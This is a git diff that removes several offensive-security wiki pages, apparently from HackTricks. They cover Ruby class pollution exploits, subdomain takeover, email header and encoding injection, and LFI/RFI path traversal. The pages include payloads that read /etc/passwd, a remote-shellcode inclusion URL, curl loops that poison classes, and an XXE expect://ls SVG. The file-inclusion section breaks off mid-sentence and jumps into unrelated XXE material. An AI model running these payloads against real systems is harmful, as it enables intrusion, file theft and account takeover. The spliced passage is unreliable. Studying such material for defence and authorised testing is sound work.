-          next_obj = current_obj.public_send(key)
-          recursive_merge(original, value, next_obj)
-        else
-          new_object = Object.new
-          current_obj.instance_variable_set("@#{key}", new_object)
-          current_obj.singleton_class.attr_accessor key
-        end
-      else
-        current_obj.instance_variable_set("@#{key}", value)
-        current_obj.singleton_class.attr_accessor key
-      end
-    end
-    original
-  end
-
-  protected
-
-  def check_cpu
-    puts "CPU check passed."
-  end
-
-  def check_memory
-    puts "Memory check passed."
-  end
-end
-
-# Admin class inherits from Person
-class Admin < Person
-  def initialize(name:, age:, details:)
-    super(name: name, age: age, details: details)
-  end
-
-  def to_s
-    "Admin"
-  end
-end
-
-# Regular user class inherits from Person
-class User < Person
-  def initialize(name:, age:, details:)
-    super(name: name, age: age, details: details)
-  end
-
-  def to_s
-    "User"
-  end
-end
-
-class JSONMergerApp
-  def self.run(json_input)
-    additional_object = JSON.parse(json_input)
-
-    # Instantiate a regular user
-    user = User.new(
-      name: "John Doe",
-      age: 30,
-      details: {
-        "occupation" => "Engineer",
-        "location" => {
-          "city" => "Madrid",
-          "country" => "Spain"
-        }
-      }
-    )
-
-
-    # Perform a recursive merge, which could override methods
-    user.merge_with(additional_object)
-
-    # Authorize the user (privilege escalation vulnerability)
-    # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
-    user.authorize
-
-    # Execute health check (RCE vulnerability)
-    # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
-    user.health_check
-
-  end
-end
-
-if ARGV.length != 1
-  puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
-  exit
-end
-
-json_input = ARGV[0]
-JSONMergerApp.run(json_input)
-```
-
-### Explanation
-
-1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
-2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**.
-   1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute.
-3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.
-
-### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a>
-
-### ActiveSupport’s `deep_merge`
-
-This isn't vulnerable by default but can be made vulnerable with something like:
-
-```ruby
-# Method to merge additional data into the object using ActiveSupport deep_merge
-def merge_with(other_object)
-  merged_hash = to_h.deep_merge(other_object)
-
-  merged_hash.each do |key, value|
-    self.class.attr_accessor key
-    instance_variable_set("@#{key}", value)
-  end
-
-  self
-end
-```
-
-### Hashie’s `deep_merge`
-
-Hashie’s `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes in a merge with some **exceptions**: attributes that end with `_`, `!`, or `?` can still be merged into the object.
-
-Some special case is the attribute **`_`** on its own. Just `_` is an attribute that usually returns a `Mash` object. And because it's part of the **exceptions**, it's possible to modify it.
-
-Check the following example how passing `{"_": "Admin"}` one is able to bypass `_.to_s == "Admin"`:
-
-```ruby
-require 'json'
-require 'hashie'
-
-# Base class for both Admin and Regular users
-class Person < Hashie::Mash
-
-  # Method to merge additional data into the object using hashie
-  def merge_with(other_object)
-    deep_merge!(other_object)
-    self
-  end
-
-  # Authorize based on to_s
-  def authorize
-    if _.to_s == "Admin"
-      puts "Access granted: #{@name} is an admin."
-    else
-      puts "Access denied: #{@name} is not an admin."
-    end
-  end
-
-end
-
-# Admin class inherits from Person
-class Admin < Person
-  def to_s
-    "Admin"
-  end
-end
-
-# Regular user class inherits from Person
-class User < Person
-  def to_s
-    "User"
-  end
-end
-
-class JSONMergerApp
-  def self.run(json_input)
-    additional_object = JSON.parse(json_input)
-
-    # Instantiate a regular user
-    user = User.new({
-      name: "John Doe",
-      age: 30,
-      details: {
-        "occupation" => "Engineer",
-        "location" => {
-          "city" => "Madrid",
-          "country" => "Spain"
-        }
-      }
-    })
-
-    # Perform a deep merge, which could override methods
-    user.merge_with(additional_object)
-
-    # Authorize the user (privilege escalation vulnerability)
-    # Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
-    # Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
-    user.authorize
-  end
-end
-
-if ARGV.length != 1
-  puts "Usage: ruby hashie.rb 'JSON_STRING'"
-  exit
-end
-
-json_input = ARGV[0]
-JSONMergerApp.run(json_input)
-```
-
-> **Hashie deep_merge mutation regression (2025):** In Hashie 5.0.0, `Hashie::Extensions::DeepMerge#deep_merge` mutated nested sub-hashes on the receiver instead of duplicating them. Merging attacker-controlled data into long‑lived objects could therefore persist changes across requests, polluting previously “safe” instances. Behavior was corrected in 5.0.1.
-
-## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
-
-In the following example it's possible to find the class **`Person`**, and the the clases **`Admin`** and **`Regular`** which inherits from the **`Person`** class. It also has another class called **`KeySigner`**:
-
-```ruby
-require 'json'
-require 'sinatra/base'
-require 'net/http'
-
-# Base class for both Admin and Regular users
-class Person
-  @@url = "http://default-url.com"
-
-  attr_accessor :name, :age, :details
-
-  def initialize(name:, age:, details:)
-    @name = name
-    @age = age
-    @details = details
-  end
-
-  def self.url
-    @@url
-  end
-
-  # Method to merge additional data into the object
-  def merge_with(additional)
-    recursive_merge(self, additional)
-  end
-
-  private
-
-  # Recursive merge to modify instance variables
-  def recursive_merge(original, additional, current_obj = original)
-    additional.each do |key, value|
-      if value.is_a?(Hash)
-        if current_obj.respond_to?(key)
-          next_obj = current_obj.public_send(key)
-          recursive_merge(original, value, next_obj)
-        else
-          new_object = Object.new
-          current_obj.instance_variable_set("@#{key}", new_object)
-          current_obj.singleton_class.attr_accessor key
-        end
-      else
-        current_obj.instance_variable_set("@#{key}", value)
-        current_obj.singleton_class.attr_accessor key
-      end
-    end
-    original
-  end
-end
-
-class User < Person
-  def initialize(name:, age:, details:)
-    super(name: name, age: age, details: details)
-  end
-end
-
-# A class created to simulate signing with a key, to be infected with the third gadget
-class KeySigner
-  @@signing_key = "default-signing-key"
-
-  def self.signing_key
-    @@signing_key
-  end
-
-  def sign(signing_key, data)
-    "#{data}-signed-with-#{signing_key}"
-  end
-end
-
-class JSONMergerApp < Sinatra::Base
-  # POST /merge - Infects class variables using JSON input
-  post '/merge' do
-    content_type :json
-    json_input = JSON.parse(request.body.read)
-
-    user = User.new(
-      name: "John Doe",
-      age: 30,
-      details: {
-        "occupation" => "Engineer",
-        "location" => {
-          "city" => "Madrid",
-          "country" => "Spain"
-        }
-      }
-    )
-
-    user.merge_with(json_input)
-
-    { status: 'merged' }.to_json
-  end
-
-  # GET /launch-curl-command - Activates the first gadget
-  get '/launch-curl-command' do
-    content_type :json
-
-    # This gadget makes an HTTP request to the URL stored in the User class
-    if Person.respond_to?(:url)
-      url = Person.url
-      response = Net::HTTP.get_response(URI(url))
-      { status: 'HTTP request made', url: url, response_body: response.body }.to_json
-    else
-      { status: 'Failed to access URL variable' }.to_json
-    end
-  end
-
-  # Curl command to infect User class URL:
-  # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
-
-  # GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
-  get '/sign_with_subclass_key' do
-    content_type :json
-
-    # This gadget signs data using the signing key stored in KeySigner class
-    signer = KeySigner.new
-    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
-
-    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
-  end
-
-  # Curl command to infect KeySigner signing key (run in a loop until successful):
-  # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
-
-  # GET /check-infected-vars - Check if all variables have been infected
-  get '/check-infected-vars' do
-    content_type :json
-
-    {
-      user_url: Person.url,
-      signing_key: KeySigner.signing_key
-    }.to_json
-  end
-
-  run! if app_file == $0
-end
-```
-
-### Poison Parent Class
-
-With this payload:
-
-```bash
-curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
-```
-
-It's possible to modify the value of the **`@@url`** attribute of the parent class **`Person`**.
-
-### **Poisoning Other Classes**
-
-With this payload:
-
-```bash
-for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
-```
-
-It's possible to brute-force the defined classes and at some point poison the class **`KeySigner`** modifying the value of `signing_key` by `injected-signing-key`.\
-
-## References
-
-- [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
-- [https://ruby.libhunt.com/hashie-latest-version](https://ruby.libhunt.com/hashie-latest-version)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/domain-subdomain-takeover.md b/src/pentesting-web/domain-subdomain-takeover.md
deleted file mode 100644
index 43031190da2..00000000000
--- a/src/pentesting-web/domain-subdomain-takeover.md
+++ /dev/null
@@ -1,121 +0,0 @@
-# Domain/Subdomain takeover
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-## Domain takeover
-
-If you discover some domain (domain.tld) that is **being used by some service inside the scope** but the **company** has **lost** the **ownership** of it, you can try to **register** it (if cheap enough) and let the company know. If this domain is receiving some **sensitive information** like a session cookie via **GET** parameter or in the **Referer** header, this is for sure a **vulnerability**.
-
-### Subdomain takeover
-
-A subdomain of the company is pointing to a **third-party service with a name not registered**. If you can **create** an **account** in this **third party service** and **register** the **name** being in use, you can perform the subdomain takeover.
-
-There are several tools with dictionaries to check for possible takeovers:
-
-- [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
-- [https://github.com/blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot)
-- [https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper)
-- [https://github.com/haccer/subjack](https://github.com/haccer/subjack)
-- [https://github.com/anshumanbh/tko-sub](https://github.com/anshumanbh/tko-subs)
-- [https://github.com/ArifulProtik/sub-domain-takeover](https://github.com/ArifulProtik/sub-domain-takeover)
-- [https://github.com/SaadAhmedx/Subdomain-Takeover](https://github.com/SaadAhmedx/Subdomain-Takeover)
-- [https://github.com/Ice3man543/SubOver](https://github.com/Ice3man543/SubOver)
-- [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
-- [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
-- [https://github.com/PentestPad/subzy](https://github.com/PentestPad/subzy)
-- [https://github.com/Stratus-Security/Subdominator](https://github.com/Stratus-Security/Subdominator)
-- [https://github.com/NImaism/takeit](https://github.com/NImaism/takeit)
-- [https://github.com/projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei) (use `-tags takeover` with nuclei-templates)
-- [https://github.com/edoardottt/cariddi](https://github.com/edoardottt/cariddi) (takeover checks in crawling output)
-
-### Subdomain Takeover Generation via DNS Wildcard
-
-When DNS wildcard is used in a domain, any requested subdomain of that domain that doesn't have a different address explicitly will be **resolved to the same information**. This could be an A ip address, a CNAME...
-
-For example, if `*.testing.com` is wildcarded to `1.1.1.1`. Then, `not-existent.testing.com` will be pointing to `1.1.1.1`.
-
-However, if instead of pointing to an IP address, the sysadmin points it to a **third party service via CNAME**, like a **GitHub subdomain** for example (`sohomdatta1.github.io`). An attacker could **create his own third party page** (in GitHub in this case) and say that `something.testing.com` is pointing there. Because the **CNAME wildcard** will agree, the attacker will be able to **generate arbitrary subdomains for the domain of the victim pointing to his pages**.
-
-You can find an example of this vulnerability in the CTF write-up: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
-
-## Exploiting a subdomain takeover
-
-Subdomain takeover is essentially DNS spoofing for a specific domain across the internet, allowing attackers to set A records for a domain, leading browsers to display content from the attacker's server. This **transparency** in browsers makes domains prone to phishing. Attackers may employ [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) or [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) for this purpose. Especially vulnerable are domains where the URL in a phishing email appears legitimate, deceiving users and evading spam filters due to the domain's inherent trust.
-
-Check this [post for further details](https://0xpatrik.com/subdomain-takeover/)
-
-### **SSL Certificates**
-
-SSL certificates, if generated by attackers via services like [_Let's Encrypt_](https://letsencrypt.org/), add to the legitimacy of these fake domains, making phishing attacks more convincing.
-
-### **Cookie Security and Browser Transparency**
-
-Browser transparency also extends to cookie security, governed by policies like the [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). Cookies, often used to manage sessions and store login tokens, can be exploited through subdomain takeover. Attackers can **gather session cookies** simply by directing users to a compromised subdomain, endangering user data and privacy.
-
-### CORS Bypass
-
-It might be possible that every subdomain is allowed to access CORS resources from the main domain or other subdomains. This could be exploited by an attacker to **access sensitive information** abusing CORS requests.
-
-### CSRF - Same-Site Cookies bypass
-
-It could be possible that the subdomain is allowed to send cookies to the domain or other subdomains which was prevented by the `Same-Site` attribute of the cookies. However, note that anti-CSRF tokens will still prevent this attack if they are properly implemented.
-
-### OAuth tokens redirect
-
-It might be possible that the compromised subdomain is allowed to be used in the `redirect_uri` URL of an OAuth flow. This could be exploited by an attacker to **steal the OAuth token**.
-
-### CSP Bypass
-
-It might be possible that the compromised subdomain (or every subdomain) is allowed to be used for example the `script-src` of the CSP. This could be exploited by an attacker to **inject malicious scripts** and abuse potential XSS vulnerabilities.
-
-### **Emails and Subdomain Takeover**
-
-Another aspect of subdomain takeover involves email services. Attackers can manipulate **MX records** to receive or send emails from a legitimate subdomain, enhancing the efficacy of phishing attacks.
-
-### **Higher Order Risks**
-
-Further risks include **NS record takeover**. If an attacker gains control over one NS record of a domain, they can potentially direct a portion of traffic to a server under their control. This risk is amplified if the attacker sets a high **TTL (Time to Live)** for DNS records, prolonging the duration of the attack.
-
-### CNAME Record Vulnerability
-
-Attackers might exploit unclaimed CNAME records pointing to external services that are no longer used or have been decommissioned. This allows them to create a page under the trusted domain, further facilitating phishing or malware distribution.
-
-### **Mitigation Strategies**
-
-Mitigation strategies include:
-
-1. **Removing vulnerable DNS records** - This is effective if the subdomain is no longer required.
-2. **Claiming the domain name** - Registering the resource with the respective cloud provider or repurchasing an expired domain.
-3. **Regular monitoring for vulnerabilities** - Tools like [aquatone](https://github.com/michenriksen/aquatone) can help identify susceptible domains. Organizations should also revise their infrastructure management processes, ensuring that DNS record creation is the final step in resource creation and the first step in resource destruction.
-
-For cloud providers, verifying domain ownership is crucial to prevent subdomain takeovers. Some, like [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), have recognized this issue and implemented domain verification mechanisms.
-
-## Detection techniques
-
-- **Find dangling DNS records**: look for CNAME/A/AAAA/ALIAS/ANAME records pointing to non-existent resources (deleted buckets, apps, pages, load balancers).
-- **Check provider error signatures**: match HTTP responses, TLS certs, or DNS errors to known takeover patterns (see can-i-take-over-xyz).
-- **Look for orphaned cloud assets**: verify S3/CloudFront, Azure Websites, GCP App Engine/Storage, GitHub Pages, Heroku, Fastly, Netlify, Vercel, Zendesk, Shopify, Atlassian, and similar services.
-- **Passive DNS and historical records**: old CNAMEs often reveal previously used third-party services that may still be vulnerable.
-- **Wildcard pitfalls**: confirm wildcard DNS vs. explicit records to avoid false positives and understand takeover amplification.
-
-## APIs and data sources
-
-- [https://securitytrails.com/](https://securitytrails.com/) (historical DNS, passive DNS API)
-- [https://community.riskiq.com/](https://community.riskiq.com/) (PassiveTotal)
-- [https://www.farsightsecurity.com/solutions/dnsdb/](https://www.farsightsecurity.com/solutions/dnsdb/)
-- [https://www.domaintools.com/products/iris/](https://www.domaintools.com/products/iris/)
-- [https://search.censys.io/](https://search.censys.io/) (certs and host data)
-- [https://www.shodan.io/](https://www.shodan.io/) (host data)
-- [https://www.virustotal.com/](https://www.virustotal.com/) (historical DNS, URLs)
-- [https://chaos.projectdiscovery.io/](https://chaos.projectdiscovery.io/) (subdomains dataset)
-
-## References
-
-- [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
-- [https://www.stratussecurity.com/post/subdomain-takeover-guide](https://www.stratussecurity.com/post/subdomain-takeover-guide)
-- [https://www.hackerone.com/blog/guide-subdomain-takeovers-20](https://www.hackerone.com/blog/guide-subdomain-takeovers-20)
-
-{{#include ../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md
deleted file mode 100644
index 036d7b32ab6..00000000000
--- a/src/pentesting-web/email-injections.md
+++ /dev/null
@@ -1,208 +0,0 @@
-# Email Injections
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Inject in sent e-mail
-
-### Inject Cc and Bcc after sender argument
-
-```
-From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
-```
-
-The message will be sent to the recipient and recipient1 accounts.
-
-### Inject argument
-
-```
-From:sender@domain.com%0ATo:attacker@domain.com
-```
-
-The message will be sent to the original recipient and the attacker account.
-
-### Inject Subject argument
-
-```
-From:sender@domain.com%0ASubject:This is%20Fake%20Subject
-```
-
-The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.
-
-### Change the body of the message
-
-Inject a two-line feed, then write your message to change the body of the message.
-
-```
-From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
-```
-
-### PHP mail() function exploitation
-
-```bash
-# The function has the following definition:
-
-php --rf mail
-
-Function [ <internal:standard> function mail ] {
-  - Parameters [5] {
-    Parameter #0 [ <required> $to ]
-    Parameter #1 [ <required> $subject ]
-    Parameter #2 [ <required> $message ]
-    Parameter #3 [ <optional> $additional_headers ]
-    Parameter #4 [ <optional> $additional_parameters ]
-  }
-}
-```
-
-#### The 5th parameter ($additional_parameters)
-
-This section is going to be based on **how to abuse this parameter supposing that an attacker controls it**.
-
-This parameter is going to be added to the command line PHP will be using to invoke the binary sendmail. However, it will be sanitised with the function `escapeshellcmd($additional_parameters)`.
-
-An attacker can **inject extract parameters for sendmail** in this case.
-
-#### Differences in the implementation of /usr/sbin/sendmail
-
-**sendmail** interface is **provided by the MTA email software** (Sendmail, Postfix, Exim etc.) installed on the system. Although the **basic functionality** (such as -t -i -f parameters) remains the **same** for compatibility reasons, **other functions and parameters** vary greatly depending on the MTA installed.
-
-Here are a few examples of different man pages of sendmail command/interface:
-
-- Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
-- Postfix MTA: http://www.postfix.org/mailq.1.html
-- Exim MTA: https://linux.die.net/man/8/eximReferences
-
-Depending on the **origin of the sendmail** binary different options have been discovered to abuse them and l**eak files or even execute arbitrary commands**. Check how in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
-
-## Inject in the e-mail name
-
-> [!CAUTION]
-> Note that if you manage to create an account in a service with an arbitrary domain name (like Github, Gitlab, CloudFlare Zero trust...) and verify it receiving the verification email in your mail address, you might be able to access sensitive locations of the victim company
-
-### Ignored parts of an email
-
-The symbols: **+, -** and **{}** in rare occasions can be used for tagging and ignored by most e-mail servers
-
-- E.g. john.doe+intigriti@example.com → john.doe@example.com
-
-**Comments between parentheses ()** at the beginning or the end will also be ignored
-
-- E.g. john.doe(intigriti)@example.com → john.doe@example.com
-
-### Whitelist bypass
-
-<figure><img src="../images/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
-
-### Quotes
-
-<figure><img src="../images/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
-
-### IPs
-
-You can also use IPs as domain named between square brackets:
-
-- john.doe@\[127.0.0.1]
-- john.doe@\[IPv6:2001:db8::1]
-
-### Email Encoding
-
-As explained in [**this research**](https://portswigger.net/research/splitting-the-email-atom), email names also can also contain encoded characters:
-
-- **PHP 256 overflow**: PHP `chr` function will continue adding 256 to a char until it becames positive and then do the operation `%256`.
-  - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
-
-> [!TIP]
-> The goal of this trick is to end with an injection like `RCPT TO:<"collab@psres.net>collab"@example.com>`\
-> that will send the verification email to a different email address from the expected one (therefore to introduce another email address inside the email name and break the syntax when sending the email)
-
-Different encodings:
-
-```bash
-# Format
-=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
-
-# =? -> Start of encode
-# utf-8 -> encoding used
-# ? -> separator
-# q -> type of encoding
-# ? -> separator
-# =41=42=43 -> Hex encoded data
-# ?= end of encoding
-
-# Other encodings, same example:
-# iso-8859-1
-=?iso-8859-1?q?=61=62=63?=hi@example.com
-# utf-8
-=?utf-8?q?=61=62=63?=hi@example.com
-# utf-7
-=?utf-7?q?<utf-7 encoded string>?=hi@example.com
-# q encoding + utf-7
-=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
-# base64
-=?utf-8?b?QUJD?=hi@example.com
-# bas64 + utf-7
-=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
-#punycode
-x@xn--svg/-9x6 → x@<svg/
-```
-
-Payloads:
-
-- Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
-  - Note the encoded `@` as =40, the encoded `>` as `=3e` and `null` as `=00`
-  - It'll send the verification email to `collab@psres.net`
-- Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
-  - Same trick as before but adding some regular quote at the beginning and encoded qoute `=22` before the encoded `@` and then starting and close some qoutes before the next email to fix the syntax used internally by Zendesk
-  - It'll send the verification email to `collab@psres.net`
-- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
-  - Note the use of the underscore as a space to separate address
-  - It'll send the verification email to `collab@psres.net`
-- Punycode: Using Punycode it was possible to inject a tag `<style` in Joomla and abuse it to steal the CSRF token via CSS exfiltration.
-
-#### Tooling
-
-- There is a **Burp Suite Turbo Intruder script** to fuzz these kind of combinations to try to attack email formats. The script already have potentially working combinations.
-- It's laso possible to use [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) to create an email splitting attack
-
-### Other vulns
-
-![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../images/image (1131).png>)
-
-## Third party SSO
-
-### XSS
-
-Some services like **github** or **salesforce allows** you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services **aren't sanitising** correctly the email, you could cause **XSS**.
-
-### Account-Takeover
-
-If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.\
-_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._
-
-## Reply-To
-
-You can send an email using _**From: company.com**_ and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**.
-
-## Hard Bounce Rate
-
-Certain services, like AWS, implement a threshold known as the **Hard Bounce Rate**, typically set at 10%. This is a critical metric, especially for email delivery services. When this rate is exceeded, the service, such as AWS's email service, may be suspended or blocked.
-
-A **hard bounce** refers to an **email** that has been returned to the sender because the recipient's address is invalid or non-existent. This could occur due to various reasons, such as the **email** being sent to a non-existing address, a domain that isn't real, or the recipient server's refusal to accept **emails**.
-
-In the context of AWS, if you send 1000 emails and 100 of them result in hard bounces (due to reasons like invalid addresses or domains), this would mean a 10% hard bounce rate. Reaching or exceeding this rate can trigger AWS SES (Simple Email Service) to block or suspend your email sending capabilities.
-
-It's crucial to maintain a low hard bounce rate to ensure uninterrupted email service and maintain sender reputation. Monitoring and managing the quality of the email addresses in your mailing lists can significantly help in achieving this.
-
-For more detailed information, AWS's official documentation on handling bounces and complaints can be referred to [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
-
-## References
-
-- [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
-- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
-- [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
-- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0)
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
deleted file mode 100644
index 54789064d34..00000000000
--- a/src/pentesting-web/file-inclusion/README.md
+++ /dev/null
@@ -1,852 +0,0 @@
-# File Inclusion/Path traversal
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## File Inclusion
-
-**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
-**Local File Inclusion (LFI):** The sever loads a local file.
-
-The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
-
-Vulnerable **PHP functions**: require, require_once, include, include_once
-
-A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
-
-## Blind - Interesting - LFI2RCE files
-
-```python
-wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
-```
-
-### **Linux**
-
-**Mixing several \*nix LFI lists and adding more paths I have created this one:**
-
-
-{{#ref}}
-https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
-{{#endref}}
-
-Try also to change `/` for `\`\
-Try also to add `../../../../../`
-
-A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
-
-### **Windows**
-
-Merge of different wordlists:
-
-
-{{#ref}}
-https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
-{{#endref}}
-
-Try also to change `/` for `\`\
-Try also to remove `C:/` and add `../../../../../`
-
-A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
-
-### **OS X**
-
-Check the LFI list of linux.
-
-## Basic LFI and bypasses
-
-All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
-
-```
-http://example.com/index.php?page=../../../etc/passwd
-```
-
-### traversal sequences stripped non-recursively
-
-```python
-http://example.com/index.php?page=....//....//....//etc/passwd
-http://example.com/index.php?page=....\/....\/....\/etc/passwd
-http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
-```
-
-### **Null byte (%00)**
-
-Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
-
-```
-http://example.com/index.php?page=../../../etc/passwd%00
-```
-
-This is **solved since PHP 5.4**
-
-### **Encoding**
-
-You could use non-standard encondings like double URL encode (and others):
-
-```
-http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
-http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
-http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
-http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
-```
-
-### HTML-to-PDF SVG/IMG path traversal
-
-Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read.
-
-- **Fingerprint the renderer**: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation.
-- **Inline SVG payloads**: `TCPDF::startSVGElementHandler()` reads the `xlink:href` attribute from `</svg>
-```
-
-Another method involves attempting to **execute commands** through the PHP "expect" wrapper:
-
-```xml
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
-    <image xlink:href="expect://ls"></image>
-</svg>
-```
-
-In both instances, the SVG format is used to launch attacks that exploit the XML processing capabilities of the server's software, highlighting the need for robust input validation and security measures.
-
-Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
-
-**Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.**
-
-### **PDF - File upload**
-
-Read the following post to **learn how to exploit a XXE uploading a PDF** file:
-
-
-{{#ref}}
-file-upload/pdf-upload-xxe-and-cors-bypass.md
-{{#endref}}
-
-### Content-Type: From x-www-urlencoded to XML
-
-If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:
-
-```xml
-POST /action HTTP/1.0
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 7
-
-foo=bar
-```
-
-Then you might be able submit the following request, with the same result:
-
